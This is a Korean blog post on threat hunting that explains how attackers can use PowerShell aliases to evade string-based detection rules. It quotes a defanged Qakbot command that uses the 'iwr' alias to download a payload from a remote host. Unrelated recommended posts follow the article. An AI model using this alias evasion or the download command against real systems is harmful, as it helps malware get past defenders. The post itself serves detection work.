위협 찾기 및 PowerShell 별칭

이 기사에서는 Powershell 별칭이 무엇이며 Threat Hunting 활동을 수행하거나 탐지 규칙을 생성하는 동안 이를 염두에 두는 것이 중요한 이유에 대해 설명합니다.

별칭이란 무엇입니까?

이름에서 알 수 있듯이 별칭은 PowerShell cmdlet 또는 명령의 대체 이름입니다. 별칭이 만들어지면 원래 명령 대신 사용할 수 있습니다.

PS > New-Alias -Name goto -Value Set-Location

cmdlet은 Set-Location현재 폴더의 디렉터리를 변경하는 데 사용되며 위의 명령을 실행한 후 goto명령을 사용하여 간단히 디렉터리를 전환할 수 있습니다.

이제 별칭이 무엇이고 어떻게 작동하는지 알았으니 더 흥미진진한 내용으로 넘어가겠습니다.

내장 별칭

Powershell에는 이미 내장된 별칭이 있으며 실제로 별칭인지도 모른 채 사용하고 있을 것입니다. 예를 들면 다음과 같습니다.

  • curl명령은 다음에 대한 내장 별칭입니다.Invoke-WebRequest
  • cd명령(디렉토리 변경)은 다음에 대한 기본 제공 별칭입니다.Set-Location

#Show aliases for a particular cmdlet
 PS > Get-Alias -Definition Start-Process

 #List all the the cmdlets that have built-in aliases
 PS > Get-Alias

      
built-in aliases for starting a process
List of all cmdlets and its associated alias

공격자는 이를 문자열 기반 탐지 규칙에 대한 방어 회피 기법 으로 사용할 수 있습니다 .

@ pr0xylife 가 공유한 최근 Qakbot 샘플에서 감염 체인은 — .one > .wsf > .cmd > ps > .dll — 그리고 실행된 Powershell 명령은 별칭 중 하나인 iwr을 사용했습니다.Invoke-WebRequest

powereRshell.exe -C iwr http://xxxx.]com/images/150223.gif -OutFile rei.dat

TA에 의해 악용될 수 있는 잘 알려지지 않은 별칭이 많이 있으므로 가장 흥미로운 몇 가지로 작은 치트 시트를 만들었습니다.

마지막으로 Sysmon 이벤트 로그에 Start-Process사용하는 명령이 saps표시되는 방식입니다. 별칭이 원래 cmdlet으로 "변환"되지 않았음을 확인할 수 있습니다.

감지되지 않은 위협에 놓일 수 있는 내장 별칭을 모두 포함하지 않고 특정 Powershell cmdlet 문자열을 감지하기 위한 규칙을 개발하는 것은 정말 일반적입니다.

이 블로그에서 무언가를 배웠기를 바랍니다.

읽어주셔서 감사합니다. 즐거운 사냥하세요!

Suggested posts

위협 사냥을 위한 OSINT 수집

위협 사냥을 위한 OSINT 수집

안녕하세요, 사이버 애호가 여러분! 위협 사냥 시리즈에 대한 OSINT에 다시 오신 것을 환영합니다. 첫 번째 기사에서는 OSINT에 대한 개요와 위협 사냥에서의 중요성에 대해 설명했습니다.

전화번호만 있으면 누구나 추적 | OSINT 조사

전화번호만 있으면 누구나 추적 | OSINT 조사

OSINT 수사관, CTF 플레이어 또는 단순히 스팸 전화를 받는 사람일 수 있습니다. 광고에서 본 번호를 확인하려는 사람.

Related posts

느린 침식: 사람들이 경력을 낭비하는 방식 공개

느린 침식: 사람들이 경력을 낭비하는 방식 공개

오늘날과 같이 급변하고 경쟁이 치열한 세상에서 경력은 개인의 성장, 재정적 안정 및 전반적인 삶의 만족도에 중요한 역할을 합니다. 그러나 많은 사람들은 침체와 불만족의 끊임없는 순환에 휩싸여 직업 생활에서 점차 쇠퇴하고 있습니다.

지구를 구하고 돈을 버는 방법

지구를 구하고 돈을 버는 방법

페트병, 유리병, 알루미늄캔, 그린에너지 패키지를 무심코 버린 적이 몇 번이나 되셨나요? 재활용에 대한 대가로 무언가를 얻을 수 있기를 몇 번이나 바랐습니까? 당신이 대부분의 사람들과 같다면 대답은 아마도 여러 번일 것입니다. 재활용은 종종 번거로움, 자질구레한 일 또는 즉각적이거나 실질적인 혜택을 가져오지 않는 의무로 간주됩니다.

기독교인에 대한 박해: 우리가 말하지 않는 증오 범죄

이슬람 혐오증은 잊으십시오. 기독교인(및 유대인)은 종교적 증오 범죄의 주요 피해자입니다.

기독교인에 대한 박해: 우리가 말하지 않는 증오 범죄

이성적인 마음을 가진 사람이라면 정치계와 언론계가 좌파, 심지어 극좌파에 의해 지배되고 있다는 사실을 알고 있습니다. 종교 분야에서 이러한 불균형은 분명히 눈에 띕니다. 좌익 신문과 네트워크는 기독교 신앙을 옹호하기 위해 서두르지 않습니다.

대명사는 정말 무섭다

너무 자주 그렇듯 갑자기 와닿는다 다시 중간쯤이야 <아니, 태평양에 있는 사람 말고 마룬, 카니발에 있는 사람> 모든 헤드라인이 시끄러워…..